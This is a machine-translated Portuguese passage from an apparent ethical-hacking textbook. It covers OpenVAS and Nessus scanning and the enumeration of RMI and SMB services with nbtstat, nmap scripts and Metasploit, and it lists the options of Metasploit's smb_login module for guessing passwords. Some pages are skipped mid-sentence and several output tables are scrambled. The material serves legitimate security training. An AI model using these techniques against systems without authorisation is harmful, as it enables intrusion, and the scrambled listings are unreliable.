Prévia do material em texto
Verificação de vulnerabilidades 169
O menu Scans fornece acesso a diferentes maneiras de ver os resultados. A primeira maneira que
veremos é por meio da página Results. Ela tem uma lista de todos os resultados de todas as varreduras.
Você também obterá mais gráficos. Você pode ver a lista de resultados e os gráficos que a acompanham na
Figura 5.16. Os gráficos são interessantes, mas a lista de resultados tem algumas informações que são
dignas de nota. Na primeira coluna, você verá um nome curto para a vulnerabilidade. Isso deve fornecer
informações suficientes para que você saiba essencialmente qual é a vulnerabilidade. No mínimo, você
saberá algo sobre o serviço ou dispositivo a partir do nome da vulnerabilidade.
figura 5.16Lista de resultados do OpenVAS
Você também obterá informações úteis adicionais. Você verá que além do resumo está a gravidade. Os
valores de gravidade incluiriam Alto, Médio e Baixo. À esquerda da gravidade está o tipo de solução. O que
você vê nos exemplos aqui são todas as correções do fornecedor. Você também pode ver mitigação, o que
significa que há maneiras de aliviar o impacto se a vulnerabilidade fosse explorada. Você também pode ver
que não há correções disponíveis. Embora tudo o que é mostrado na Figura 5.16 sejam problemas que têm
correções do fornecedor, também há problemas encontrados que não têm correções, bem como problemas
que têm mitigações.
À direita da gravidade, há algo mostrado como QoD. Esta é a qualidade da detecção, e o que isso
significa é o quão certo o OpenVAS está sobre se a vulnerabilidade é um verdadeiro positivo. Você verá
alguns números muito altos nessa coluna para algumas vulnerabilidades aparentes do macOS.
Considerando que os sistemas identificados estão executando o macOS mais recente e foram totalmente
corrigidos no momento da varredura, esses números de alta confiança são enganosos. Para entender
exatamente o que o OpenVAS estava procurando para fazer a determinação, seria necessário olhar para o
arquivo NASL associado à vulnerabilidade identificada.
Traduzido do Inglês para o Português - www.onlinedoctranslator.com
https://www.onlinedoctranslator.com/pt/?utm_source=onlinedoctranslator&utm_medium=pdf&utm_campaign=attribution
170 Capítulo 5 - Redes de digitalização
Na coluna da extrema direita, você pode acessar ações, como mostrado na Figura 5.17. Como esses relatórios
permanecem armazenados no OpenVAS enquanto a instância permanecer, você provavelmente desejará fazer as
alterações necessárias nas descobertas. Como no caso das descobertas do macOS, eu poderia adicionar uma substituição.
Como observado anteriormente, nem todas as descobertas são exatamente como são apresentadas pelo OpenVAS.
Algumas delas podem ser falsos positivos, por exemplo. Você pode alterar a gravidade da descoberta para falso positivo
usando uma substituição. Você pode ver a caixa de diálogo que permite definir parâmetros de substituição, incluindo a
definição da gravidade para falso positivo, na Figura 5.17.
figura 5.17Definindo uma substituição
Claro, falso positivo não é a única mudança na gravidade que você pode fazer. Você pode aumentar ou
diminuir a gravidade. Você pode saber um pouco mais do que o OpenVAS, especialmente se você trabalha
para a empresa para a qual está testando ou se está trabalhando em estreita colaboração com eles em vez
de como um adversário estrito. Se já houver mitigações em vigor, você pode descobrir que deseja diminuir
a gravidade. Também pode haver razões para aumentar a gravidade fornecida pelo OpenVAS. Afinal, esta é
uma descoberta genérica, às vezes fornecida pelo fornecedor do software.
Você também pode definir outros parâmetros na substituição, se não for uma questão de gravidade
que você deseja alterar. Se você fosse substituir a gravidade, provavelmente desejaria adicionar uma nota
também, explicando qual foi a alteração e por que ela estava sendo feita. Isso permite que qualquer outra
pessoa que tenha acesso ao OpenVAS revise as alterações que foram feitas e saiba por que
Verificação de vulnerabilidades 171
alterações foram feitas. Além de fazer alterações em parâmetros como gravidade, você pode
adicionar notas a cada uma das descobertas. Esse é o outro ícone sob a coluna Ações.
Usar notas e substituições permite que você use o OpenVAS mais como uma ferramenta de
gerenciamento de vulnerabilidades, até certo ponto, em vez de apenas um scanner de vulnerabilidades.
Você pode usá-lo para fins históricos, para identificar vulnerabilidades conhecidas ou fazer alterações em
parâmetros diferentes. Essas informações armazenadas podem ser úteis porque qualquer pessoa
encarregada de proteger sistemas e redes estará constantemente lutando contra vulnerabilidades.
Informações históricas, especialmente mitigações e o que foi feito para remediar as vulnerabilidades,
serão úteis para profissionais de segurança.
Nesso
O Nessus é o pai do OpenVAS, o que faz valer a pena dar uma olhada, especialmente para ver como ele se
desviou do caminho que o OpenVAS tomou. Embora o Nessus seja um produto comercial, há uma licença
doméstica para que você possa usá-lo em sua rede doméstica para comparar com o OpenVAS e também
ver outra abordagem para varredura de vulnerabilidades. Ao fazer login, você é levado para sua lista de
varreduras, que estará vazia no início. Para iniciar uma varredura, você clicaria no botão Novo, que o levará
para uma lista das diferentes políticas de varredura disponíveis. Você pode ver algumas das políticas de
varredura que são incorporadas ao Nessus na Figura 5.18. Você verá Atualizarimpresso em algumas das
políticas de escaneamento. Isso significa que essas políticas de escaneamento estão disponíveis apenas na
versão comercial e não na licença Home.
figura 5.18Políticas de digitalização no Nessus
172 Capítulo 5 - Redes de digitalização
Se selecionarmos o Basic Network Scan como nosso ponto de partida, podemos começar a selecionar
nosso alvo e então passar pela personalização. A Figura 5.19 mostra as configurações para o Basic Network
Scan. Você verá na primeira tela que você fornece o nome do scan. Tenha em mente que você está criando
uma configuração aqui e pode executar essa configuração várias vezes. Cada execução terá um carimbo de
data/hora associado a ela, então você não precisa adicionar sua própria data e hora como parte do nome.
Você vai querer nomeá-lo com algo que seja significativo para você, para que você possa diferenciar essa
configuração de outras configurações.
figura 5.19Configurações de digitalização
Você pode, por exemplo, ter uma configuração onde você tem um conjunto específico de
credenciais. A Figura 5.20 mostra a configuração para credenciais. Você verá que pode criar
credenciais SSH e Windows para autenticação de host. Para cada um desses tipos, você poderá
criar várias configurações. Você pode usar autenticação de chave SSH para alguns sistemas e
então também ter uma configuração de autenticação para onde você precisa usar nome de
usuário e senha. De acordo com a interface, você pode ter credenciais ilimitadas para SSH e
Windows. Para criar outro conjunto de credenciais, há um botão no final da linha indicando o
tipo de credencial.
Além das credenciais do host, você pode definir credenciais de autenticação para banco de
dados, diversos e texto simples. A última categoria é para protocolos como HTTP, FTP e SMTP, entre
outros. Diversos fornece configurações para firewalls VMware e Palo Alto. Isso fornece os meios para
o Nessus verificar vulnerabilidades locais em uma variedade de aplicativos e também dispositivos.
Verificação de vulnerabilidades 173
figura 5. 2 0Configurações de credenciais
Além das credenciais, você pode configurar os plug-ins que deseja executar. Você pode acessar os plug-ins
clicando na aba Plugins na parte superior. Olhando novamente para a Figura 5.19, você verá um conjunto de abas
verticalmente ao longo do lado esquerdo. Isso não só fornece acesso às configurações básicas que você> executar
[*] 192.168.86.62:1099 - Enviando cabeçalho RMI...
[*] 192.168.86.62:1099 - Listando nomes no Registro... [+]
192.168.86.62:1099 - 1 nomes encontrados no Registro
[+] 192.168.86.62:1099 - Nome HelloServer (HelloImpl_Stub) encontrado em
127.0.1.1:38371
[*] Execução do módulo auxiliar concluída
As opções necessárias para executar o módulo java_rmi_registry são simples. A porta remota é
definida como 1099, que é a porta que o rmiregistry escuta. Se você acha que há outra porta
escutando, pode definir a variável RPORT. A que é essencial, no entanto, é RHOST. Definimos essa
variável para o endereço IP do sistema onde há um programa Java muito simples que implementa
um servidor RMI. Você pode ver o resultado da varredura. De acordo com o registro RMI, há um
servidor chamado HelloServer. Ele até nos diz que o stub é chamado HelloImpl. Embora seja um
servidor, o registro o chama de stub porque o
202 Capítulo 6 - Enumeração
a diferença entre um stub e um esqueleto é o fim da conversa que está acontecendo.
O rmic gera stubs para servidores e clientes. É só que se referir ao fim do servidor
como um esqueleto diferencia os dois.
O Metasploit não é a única maneira de escanear serviços RMI. Se você procurar um pouco, poderá
encontrar programas adicionais. Um deles é chamado Barmie, estilizado como BaRMIe para destacar o RMI
no nome. Você pode pegar o código-fonte, bem como uma implementação pré-compilada do BaRMIe
através do Github. Executar o programa é simples. Como é um programa Java, você tem que executar o
arquivo de código intermediário através do programa Java usado para criar uma máquina virtual Java.
Como ele é armazenado como um arquivo Java (JAR), você tem que dizer ao Java que ele será executado a
partir de um desses. O programa precisa saber qual host está escaneando, então você passa o endereço IP
do seu alvo. Você pode ver uma execução do BaRMIe a seguir.
O programa javac é usado para compilar código-fonte Java para um arquivo de código
intermediário. O programa java é usado para executar um arquivo de código intermediário.
Usando Barmie
root@quiche:~# java -jar BaRMIe_v1.01.jar 192.168.86.62
v1.0
Ferramenta de enumeração Java RMI.
Escrito por Nicky Bloor (@NickstaDB)
Aviso: O BaRMIe foi escrito para auxiliar os profissionais de segurança na identificação de
uso inseguro de serviços RMI em sistemas que o usuário tem permissão prévia
para atacar. O BaRMIe deve ser usado de acordo com todas as leis relevantes. Não
fazer isso pode levar à sua ação judicial. Os desenvolvedores não assumem
nenhuma responsabilidade e não são responsáveis por qualquer uso indevido ou
dano causado por este programa.
Verificando 1 alvo(s) em busca de objetos expostos por meio de um registro RMI...
Chamadas de Procedimento Remoto 203
[-] Ocorreu uma exceção durante o loop principal PassThroughProxyThread.
java.net.SocketException: Soquete fechado
[-] Ocorreu uma exceção durante o loop principal ReplyDataCapturingProxyThread.
java.net.SocketException: Socket fechou o
Registro RMI em 192.168.86.62:1099 Objetos
expostos: 1
Objeto 1
Nome: HelloServer
Ponto final: 127.0.1.1:38371
[+] O objeto está vinculado ao host local, mas parece estar exposto remotamente.
Classes: 3
Classe 1
Nome da classe: java.rmi.server.RemoteStub
Classe 2
Nome da classe: java.rmi.server.RemoteObject
Classe 3
Nome da classe: HelloImpl_Stub
1 ataque potencial identificado (+++ = mais confiável) [---]
Desserialização de ligação ilegal do registro Java RMI
0 gadgets de desserialização encontrados no CLASSPATH vazado
[~] Gadgets ainda podem estar presentes apesar de CLASSPATH não ter vazado
1 alvo(s) escaneado(s) com sucesso em busca de objetos expostos via RMI.
Vemos algumas coisas ao executar este programa. Ele é um pouco mais verboso do que o
Metasploit. Obtemos o nome do servidor, HelloServer. Assim como no Metasploit, vemos que o
servidor está vinculado ao localhost na porta 38371, que foi alocada dinamicamente pelo
rmiregistry. Também vemos a árvore de herança disso. Podemos ver referências ao
aulasjava.rmi.server.RemoteStub, java.rmi.server.RemoteObject,eOláImpl
. Esboço.De acordo com o BaRMIe, o serviço é exposto remotamente, mas está disponível apenas para o
localhost. Isso significa que temos vazamento de informações. Para tentar identificar vulnerabilidades com
esse servidor RMI e potencialmente explorar essas vulnerabilidades, precisamos obter acesso ao sistema.
Ao identificar o registro RMI e os serviços adicionais, também identificamos a existência de
outro pedaço de software no sistema de destino. Pode parecer óbvio agora, mas se você
encontrar um registro RMI e serviços RMI, você encontrou um sistema que pelo menos tem
um Java runtime engine (JRE) nele, se não um Java development kit (JDK). O que não sabemos
da saída aqui é a versão do JRE ou JDK. No entanto, houve vulnerabilidades em
implementações Java nos últimos anos. Saber que há pelo menos um JRE no sistema pode ter
lhe dado uma pista para vulnerabilidades.
204 Capítulo 6 - Enumeração
Bloco de mensagens do servidor
A implementação mais comum de chamadas de procedimento remoto que você encontrará é a usada em redes
Windows. O protocolo SMB é complexo quando você considera todas as diferentes maneiras pelas quais ele pode
ser usado e todas as diferentes maneiras pelas quais ele operará. Você pode estar mais familiarizado com o SMB
como o protocolo usado para compartilhar arquivos em uma rede. Embora este seja definitivamente um uso para
o SMB, ele não é o único, e mesmo quando você pensa em compartilhar arquivos, há muito mais do que apenas
transmitir o conteúdo do arquivo em uma rede.
SMB é um protocolo de camada de aplicação que pode operar sobre diferentes protocolos em camadas
inferiores. Primeiro, ele pode operar diretamente sobre TCP sem quaisquer outros protocolos de camada
de sessão. Se um sistema estivesse executando SMB diretamente sobre TCP, você encontraria a porta TCP
445 aberta. SMB também pode operar sobre protocolos de sessão como NetBIOS, que é uma interface de
programação de aplicativos (API) desenvolvida pela IBM para estender os recursos de entrada/saída (E/S)
para longe do sistema local e para a rede. Se você vir as portas UDP 137 e 138 abertas, saberá que
encontrou SMB em execução sobre NetBIOS. No entanto, se você encontrar as portas TCP 137 e 139
abertas, você encontrará SMB em execução em NetBIOS sobre TCP. Tenha em mente que NetBIOS é usado
para serviços de nome neste caso.
Então, para que serve o SMB? O SMB é usado para comunicação entre sistemas Windows — compartilhamento
de arquivos, gerenciamento de rede, administração de sistemas. Isso pode significar gerenciar a nomenclatura de
sistemas, para ter certeza de que não há conflitos. Gerenciamento como esse requer que os sistemas se anunciem
para a rede local. O SMB também precisa oferecer suporte à autenticação para que os sistemas não fiquem
totalmente abertos para toda a rede. Isso significa que o SMB sabe sobre usuários e grupos. Ele também sabe
sobre compartilhamentos, que são diretórios expostos à rede. Os sistemas precisam ser capazes de fornecer a lista
de compartilhamentos que estão exportando para a rede para os sistemas que solicitam. Isso permite que um
usuário obtenha uma lista de compartilhamentos e acesse os que deseja, após a autenticação.
Não que a autenticação seja sempre necessária. O SMB suporta algo chamado autenticação nula.
O que isso significa é que há algumas funções que não exigem um nome de usuário e senha. Um
sistema pode solicitar informações sobre outro sistema na rede usando autenticação nula, o que
significa que nenhuma credencial foi passada. Essa autenticação nula pode nos permitir reunir
muitas informações sobre o sistema.
Podemos usar várias ferramentas diferentes para enumerar informações em sistemas Windows. Na
verdade, não são apenas sistemas Windows, embora a intenção de implementar o SMB em outros sistemas
seja interoperar com sistemas Windows. O Samba éum pacote que pode ser instalado em sistemas
operacionais do tipo Unix, fornecendo SMB e também um serviço de nomenclatura NetBIOS. Existem dois
processos separados que são usados pelo Samba. Um é o smbd, que lida com SMB, e também há o nmbd,
que lida com os aspectos de nomenclatura da interoperabilidade com sistemas Windows. Isso significa que,
mesmo enquanto procuramos enumerar informações de sistemas Windows, também podemos coletar
sistemas do tipo Unix.
O primeiro lugar para começar é usar ferramentas internas. Ferramentas internas estão especialmente
disponíveis em sistemas Windows, mas também existem utilitários do tipo Unix. Também veremos uma série de
Bloco de mensagens do servidor 205
plug-ins disponíveis para nmap para coletar informações. O Metasploit, sem surpresa, tem vários módulos
para escanear sistemas SMB. Há também alguns outros utilitários que você pode usar, e daremos uma
olhada em alguns deles.
Utilitários integrados
Se você estiver em um sistema Windows, há uma série de utilitários que você pode usar para coletar
informações usando SMB. Existem análogos para Linux também. Uma coisa a ser notada em relação
aos utilitários integrados é que você precisa estar no mesmo domínio de transmissão para poder
usá-los. O NetBIOS foi originalmente desenvolvido para ser usado em uma rede local, em vez de
com o conceito de redes de longa distância integrado. Como resultado, algumas das funções
funcionam porque os sistemas dependem da transmissão de informações para a rede. A implicação
disso é que você precisa ter uma presença na rede local antes que esses utilitários funcionem.
A coleta de estatísticas NetBIOS pode ser realizada usando o programa nbtstat. Isso permite que
você colete dados sobre a rede local. No exemplo a seguir, você pode ver o uso do nbtstat para
adquirir dados sobre um sistema remoto. Usandonbtstat -aapresenta a tabela de nomes para o
nome do host fornecido. Se tudo o que soubéssemos fosse o endereço IP do sistema remoto,
poderíamos usarnbtstat -Aem vez disso. O que você verá é que obtemos diferentes informações.
Você obtém uma lista de nomes no lado esquerdo, seguido por um código. O código indica o
contexto em que o nome existe, seguido pelo status de cada nome.
saída nbtstat
C:\Usuários\kilroy
> nbtstat -a billthecat
Conexão de área local:
Endereço IP do nó: [192.168.86.50] ID do escopo: []
Tabela de nomes de máquinas remotas NetBIOS
Nome
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
BILLTHECAT
BILLTHECAT
GRUPO DE TRABALHO
Tipo Status
EXCLUSIVO
EXCLUSIVO
GRUPO
Registrado
Registrado
Registrado
Endereço MAC = AC-87-A3-36-D6-AA
Os códigos mostrados são do NetBIOS, e você pode procurar o código para determinar a que o
nome está associado. Os sistemas que usam SMB têm vários contextos nos quais eles
206 Capítulo 6 - Enumeração
pode existir. O que você vê aqui é um sistema que é uma estação de trabalho e um servidor de arquivos. Isso
significa que o compartilhamento de arquivos foi habilitado neste sistema. Além disso, porém, o sistema atua
como uma estação de trabalho ou cliente na rede. É importante distinguir os recursos porque então cada sistema
pode saber os tipos de perguntas que podem ser feitas a cada um dos outros sistemas. Em termos técnicos, cada
conjunto de funcionalidades tem procedimentos associados a ele. Não podemos chamar procedimentos que não
existem, então antes que os procedimentos sejam chamados nos sistemas remotos para iniciar uma ação, temos
que saber quais procedimentos estão disponíveis.nbtstat -a
essencialmente fornece essas informações.
O que vimos até agora simplesmente pede todas as funções (nomes) associadas a um nome de
host na rede. Esse é um sistema individual. Se quisermos ver todos os nomes de host que estão
falando SMB/NetBIOS, precisamos pedir outra coisa. Ainda podemos usar nbtstat, apenas
passamos um parâmetro diferente na linha de comando. Estamos procurando nomes resolvidos.
Essa lista pode vir de mensagens de transmissão quando não há um banco de dados centralizado
para pesquisas de nomes — os sistemas anunciam seus nomes e sua presença quando ficam
online e depois periodicamente. Também pode vir do Windows Internet Name Server (WINS), que é
um repositório central de nomes de sistemas em uma rede corporativa. Os servidores Windows
terão funcionalidade WINS, então os sistemas se registram no WINS e todos os nomes podem ser
resolvidos.
Na listagem de código a seguir, você pode ver uma lista de nomes na rede. Como não há um servidor
Windows e, como resultado, nenhum WINS na rede, esses são todos nomes que foram identificados por
meio de mensagens de transmissão. Esses sistemas são todos macOS, mas estão compartilhando arquivos
na rede usando SMB. Para fazer isso, eles precisam se comportar como qualquer outro sistema que se
comunica usando SMB.
listando nomes resolvidos com nbtstat
C:\Usuários\kilroy
> nbtstat -r
Estatísticas de resolução e registro de nomes NetBIOS
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Resolvido por transmissão
Resolvido pelo servidor de nomes
= 47
= 0
Registrado por Broadcast Registrado
por Servidor de Nomes = 0
= 8
Nomes NetBIOS resolvidos por transmissão
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
YAZPISTACHIO
BILLTHECAT
YAZPISTACHIO
Bloco de mensagens do servidor 207
YAZPISTACHIO
LOLAGRANOLA
LOLAGRANOLA
YAZPISTACHIO
YAZPISTACHIO
Existem outras funções que o nbtstat oferece, mas elas estão mais relacionadas à funcionalidade do
sistema local e menos relevantes para enumeração. Embora o nbtstat tenha muita funcionalidade, ele está,
como observado anteriormente, apenas em sistemas Windows. Existem outras ferramentas que você pode
usar se não estiver executando no Windows. Se você tem um sistema Linux e tem o pacote Samba
instalado, que fornece serviços que permitem que o Linux se comunique usando SMB, você pode usar a
ferramenta nmblookup. Isso pode ser usado para fazer pesquisas de nomes na rede. Ele pode ser usado
para consultar WINS, bem como pesquisar nomes onde os sistemas estão apenas transmitindo suas
informações. Por exemplo, para obter os detalhes sobre o sistema billthecat como fizemos anteriormente,
você usarianmblookup -S -R billthecat,como você pode ver aqui.
nmblookup para enumeração
kilroy@savagewood$ nmblookup -S -B 192.168.86.255 billthecat Não é
possível carregar /etc/samba/smb.conf - execute testparm para depurá-lo
consultando billthecat em 192.168.86.255
192.168.86.32 billthecat
Procurando status de 192.168.86.32
BILLTHECAT
BILLTHECAT
GRUPO DE TRABALHO
-
-
- H
H
H
Endereço MAC = AC-87-A3-36-D6-AA
Usando -Bdiz ao nmblookup para usar o endereço de broadcast fornecido, que é apenas o endereço de
broadcast na rede local. Para usar o WINS, você pode usar -Rpara fazer uma pesquisa recursiva no nome. A
bandeira -Sdiz ao nmblookup para obter um status de nó além de apenas o status do nome. Este é o
sinalizador que nos fornece os outros usos. Assim como fizemos antes, podemos ver que temos uma
estação de trabalho () e também um servidor de arquivos (). Você também verá nesta saída, assim
como fizemos antes, que o sistema pertence ao grupo de trabalho WORKGROUP. Os grupos de trabalho
são usados para redes Windows ad hoc onde não há controlador de domínio para gerenciar todos os
sistemas.
Scripts Nmap
O Nmap continua a ser relevante para nós, mesmo que tenhamos passado da fase de varredura de
portas. Aqui, estamos buscando reunir mais informações usando os scripts fornecidos. No momento
em que este artigo foi escrito, havia 33 scripts relacionados a SMB incluídos na implementação do
nmap na versão mais recente do Kali Linux. A seguir, você pode ver uma parte da saída de
208 Capítulo 6 - Enumeração
esse script. O nome doscript,smb-os-descoberta,é mostrado na saída. Este é um sistema Windows
que foi configurado para compartilhamento. Você verá que o nmap o identificou muito
especificamente, até o service pack que foi instalado. Curiosamente, há vários outros sistemas na
rede onde o compartilhamento baseado em SMB está habilitado, mas nenhum deles é identificado. A
grande diferença entre eles e este é que esses sistemas têm apenas a porta 445 aberta, enquanto
este também tem as portas 135 e 139 abertas.
saída de verificação smb-os-discovery
Relatório de varredura do Nmap para stevedallas.lan (192.168.86.50). O
host está ativo (latência de 0,00058s).
PORTA
135/tcp aberto
139/tcp aberto
445/tcp aberto
Endereço MAC: 46:5E:C8:0A:B7:D1 (Desconhecido)
SERVIÇO DE ESTADO
msrpc
netbios-ssn
Microsoft-DS
Resultados do script do host:
| descoberta-smb-os:
|
|
|
|
|
|_
SO: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) SO CPE:
cpe:/o:microsoft:windows_7::sp1:professional
Nome do computador: stevedallas Nome do
computador NetBIOS: STEVEDALLAS\x00 Grupo de
trabalho: WORKGROUP\x00
Horário do sistema: 2018-08-17T20:30:27-06:00
Existem várias informações importantes que podemos usar o nmap para procurar. Existem scripts de
enumeração para usuários, grupos, serviços, processos e compartilhamentos. Alguns deles exigem
autenticação antes que o sistema remoto revele qualquer coisa. A Microsoft começou a desabilitar a
autenticação de sessão nula no Windows Server 2008 R2 e no Windows 7. Qualquer sistema operacional
depois disso exigirá autenticação antes de acessar a comunicação entre processos necessária para extrair
as informações solicitadas. No entanto, a configuração pode ser desabilitada, e você nunca sabe quando
encontrará sistemas muito desatualizados ou mal configurados. Você pode ver a falha do script de
enumeração de compartilhamento no nmap aqui. A listagem mostra que, embora a autenticação fosse
necessária, ele ainda tentou nomes de compartilhamento comuns.
Enumerando compartilhamentos com nmap
Relatório de varredura do Nmap para stevedallas.lan (192.168.86.50). O
host está ativo (latência de 0,00040s).
PORTA
135/tcp aberto msrpc
SERVIÇO DE ESTADO
Bloco de mensagens do servidor 209
139/tcp aberto
445/tcp aberto
Endereço MAC: 46:5E:C8:0A:B7:D1 (Desconhecido)
netbios-ssn
Microsoft-DS
Resultados do script do host:
| compartilhamentos-enum-smb:
| nota: ERRO: Falha na enumeração de compartilhamentos, supondo os comuns
(NT_STATUS_ACCESS_DENIED)
|
|
|
|
|
|
|
|
|
|
|
|
|_
conta_usada:
\\192.168.86.50\ADMIN$:
aviso: Não foi possível obter detalhes do compartilhamento: NT_STATUS_ACCESS_DENIED
Acesso anônimo:
\\192.168.86.50\C$:
aviso: Não foi possível obter detalhes do compartilhamento: NT_STATUS_ACCESS_DENIED
Acesso anônimo:
\\192.168.86.50\IPC$:
aviso: Não foi possível obter detalhes do compartilhamento:
NT_STATUS_ACCESS_DENIED Acesso anônimo: READ
\\192.168.86.50\USUÁRIOS:
aviso: Não foi possível obter detalhes do compartilhamento: NT_STATUS_ACCESS_DENIED
Acesso anônimo:
Um dos nomes de compartilhamento comuns testados é IPC$. Este é um nome de compartilhamento que
permite acesso a pipes compartilhados, que é um método para comunicações entre processos. Outro nome de
compartilhamento que o nmap verificou é C$. Este é um compartilhamento administrativo que é criado.
Novamente, versões mais antigas do Windows permitirão acesso mais fácil a este compartilhamento, mas desde
o Windows XP, houve mais restrições ao uso deste compartilhamento. Ele permite que os administradores
funcionem remotamente, mas acessá-lo requer mais do que apenas credenciais de login. As credenciais de login
devem ser para um administrador.
Embora o nmap tenha outros scripts que podem ser usados contra sistemas que executam SMB, a
maioria deles não é para enumeração. Muitos deles são específicos para identificação ou confirmação de
vulnerabilidades. Como estamos focando em enumeração, podemos adiar a análise desses outros scripts
para um momento posterior.
Metasploit
O Metasploit tem módulos para quase todos os aspectos do hacking ético. Ele pode ser usado de muitas
maneiras diferentes. Como mostrado anteriormente, podemos definitivamente usá-lo para enumeração e,
quando se trata de SMB, há vários que você pode executar. Como exemplo, podemos procurar versões de
SMB na rede. Na listagem a seguir, você verá uma execução do módulo smb_version. Você deve ter uma
ideia da versão do serviço SMB que está em execução. O que você pode ver são dois sistemas que foram
identificados com a versão do sistema operacional listada.
210 Capítulo 6 - Enumeração
A partir dessas informações, você pode identificar a versão do SMB que é suportada. O sistema Windows XP
está executando a versão 1 do SMB porque a versão 2 não foi lançada até o Windows Vista ser lançado. De
acordo com o histórico de versões do SMB, o sistema Windows 7 estaria usando a versão 2.1 do SMB.
Verificação da versão smB com metasploit
msf auxiliar(scanner/smb/smb_version) > executar
[*] Escaneados 26 de 256 hosts (10% concluído) [*]
192.168.86.26:445
[*] 192.168.86.27:445
[*] 192.168.86.32:445
[*] 192.168.86.41:445
- O host não pôde ser identificado:
- O host não pôde ser identificado:
- O host não pôde ser identificado:
- O host não pôde ser identificado:
- O host está executando o Windows XP SP2 (idioma: inglês)
()
()
()
()
[+] 192.168.86.49:445
(nome:OPUS-C765F2) (grupo de trabalho:WORKGROUP)
[+] 192.168.86.50:445 - O host está executando o Windows 7 Professional SP1
(build:7601) (nome:STEVEDALLAS) (grupo de trabalho:WORKGROUP)
[*] Escaneados 52 de 256 hosts (20% concluído) [*]
192.168.86.61:445 - O host não pôde ser identificado: ()
Também podemos usar o Metasploit para enumerar usuários. Para fazer isso, você usaria o módulo
smb_enumusers_domain. Se você souber de um, pode usar um nome de usuário e senha. Isso permitiria
que o módulo se autenticasse no sistema para obter usuários adicionais. Isso não é necessário, embora seja
muito menos provável que você obtenha uma lista de usuários sem autenticação de algum tipo. Felizmente,
há outro módulo que você pode usar para ajudá-lo a obter pelo menos um nome de usuário e senha. O
módulo smb_login pode ser usado para tentar combinações de nome de usuário/senha. Aqui você pode ver
a lista de opções para o módulo smb_login.
Opções do módulo smb_login
Opções de módulo (auxiliar/scanner/smb/smb_login):
Nome
- - - -
Configuração atual
- - - - - - - - - - - - - - - -
falso
Obrigatório
- - - - - - - -
sim
Descrição
- - - - - - - - - - -
Abortar a execução quando uma contaABORTAR_NO_BLOQUEIO
bloqueio detectado
SENHAS_EM_BRANCO
Usuários
falso não Experimente senhas em branco para todos
VELOCIDADE_DE_FORÇA_BRUTA
para 5
5 sim Quão rápido é o bruteforce, de 0
DB_TODOS_OS_CRÉDITOS
armazenado no banco de dados atual
falso não Experimente cada par de usuário/senha
Bloco de mensagens do servidor 211
BD_TODOS_PASS
banco de dados atual para a lista
falso não Adicione todas as senhas no
BD_TODOS_USUÁRIOS
banco de dados para a lista
falso não Adicione todos os usuários no atual
DETECTAR_QUALQUER_AUTENTICAÇÃO
aceitando qualquer autenticação
falso não Habilitar detecção de sistemas
DETECTAR_QUALQUER_DOMÍNIO
para o usuário especificado
falso não Detectar se o domínio é necessário
PASS_FILE
por linha
não Arquivo contendo senhas, uma
PRESERVAR_DOMÍNIOS
contém um nome de domínio.
verdadeiro não Respeite um nome de usuário que
Procurações
tipo:host:porta[,tipo:host:porta][...]
não Uma cadeia proxy de formato
RECORD_CONVIDADO
logins no banco de dados
falso não Registrar privilégio de convidado aleatório
RHOSTS
Identificador CIDR
sim O intervalo de endereços de destino ou
RPORT 445
.
sim
não
A porta de serviço SMB (TCP) O
domínio do Windows a ser usado paraDomínio SMB
autenticação
SMBPass
nome de usuário
não A senha para o especificado
Usuário SMB não
sim
O nome de usuário para autenticarcomo
Pare de adivinhar quando uma credencialPARAR_EM_SUCESSO
trabalha para um anfitrião
falso
1LINHAS
Tópicos
sim O número de concorrentes
ARQUIVO_SENHA_DE_USUÁRIO
senhas separadas por espaço, um par por linha
não Arquivo contendo usuários e
USUÁRIO_COMO_SENHA
senha para todos os usuários
falso não Tente o nome de usuário como
ARQUIVO_DO_USUÁRIO
por linha
não Arquivo contendo nomes de usuários, um
PROGRAMADO
tentativas
verdadeiro sim Se deve imprimir a saída para todos
Usando o módulo smb_login, você pode fornecer arquivos que contenham nomes de usuários e
senhas. O módulo tentará autenticar usando as combinações de nome de usuário e senha. Uma coisa
que você também verá é que você pode dizer ao módulo para tentar o nome de usuário como uma
senha. Isso é comumente proibido por políticas de senha, mas você pode encontrar sistemas onde as
políticas de senha não estão em vigor, tornando possível que o nome de usuário e a senha sejam os
mesmos.
Assim como o nmap, o Metasploit tem vários módulos que podem ser usados contra sistemas SMB. Muitos
deles estão relacionados à identificação de vulnerabilidades. Ele fornece outra ferramenta que
212 Capítulo 6 - Enumeração
você pode usar para reunir informações, e a vantagem de usar o Metasploit é que ele é feito backup com um banco
de dados onde as informações são armazenadas. Você pode recuperar dados do host, serviços e outros detalhes
sobre o alvo do banco de dados. Isso o torna uma boa ferramenta de manutenção de registros, bem como uma
ferramenta que pode ser usada para enumeração e outras formas de varredura.
Outros utilitários
Considerando o número de dispositivos que usam SMB para rede, não é surpreendente que existam
muitas ferramentas disponíveis para enumerar sistemas SMB. O programa nbtscan é um deles. Ele fornece
detalhes sobre os sistemas que encontra na rede local, incluindo o nome NetBIOS, usuário, endereço MAC
e endereço IP. Na listagem a seguir, você pode ver a saída da varredura da minha rede doméstica,
identificando todos os sistemas que têm compartilhamentos do Windows disponíveis. O intervalo de
varredura foi fornecido na linha de comando aqui, mas você também pode fornecer os endereços IP em
um arquivo.
escaneando uma rede com nbtscan
root@quiche:~# nbtscan 192.168.86.0/24
Fazendo varredura de nome NBT para endereços de 192.168.86.0/24
Endereço IP
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
192.168.86.0
192.168.86.44
192.168.86.52
192.168.86.49
192.168.86.170
192.168.86.50
192.168.86.26
192.168.86.61
192.168.86.32
192.168.86.27
192.168.86.255
Nome NetBIOS Servidor Usuário Endereço MAC
Falha no envio: Permissão negada
NPI110654
BOBBY
OPUS-C765F2
MILOBLOOM
STEVEDALAS
YAZPISTACHIO
MILOBLOOM
BILLTHECAT
BINKLEY
Falha no envio: Permissão negada
BOBBY
00:00:00:00:00:00
00:00:00:00:00:00
00:50:56:3b:ac:3e
ac:87:a3:1e:6b:30
46:5e:c8:0a:b7:d1
f0:18:98:0c:34:69
ac:87:a3:1e:6b:30
ac:87:a3:36:d6:aa
8c:85:90:5a:7e:f2
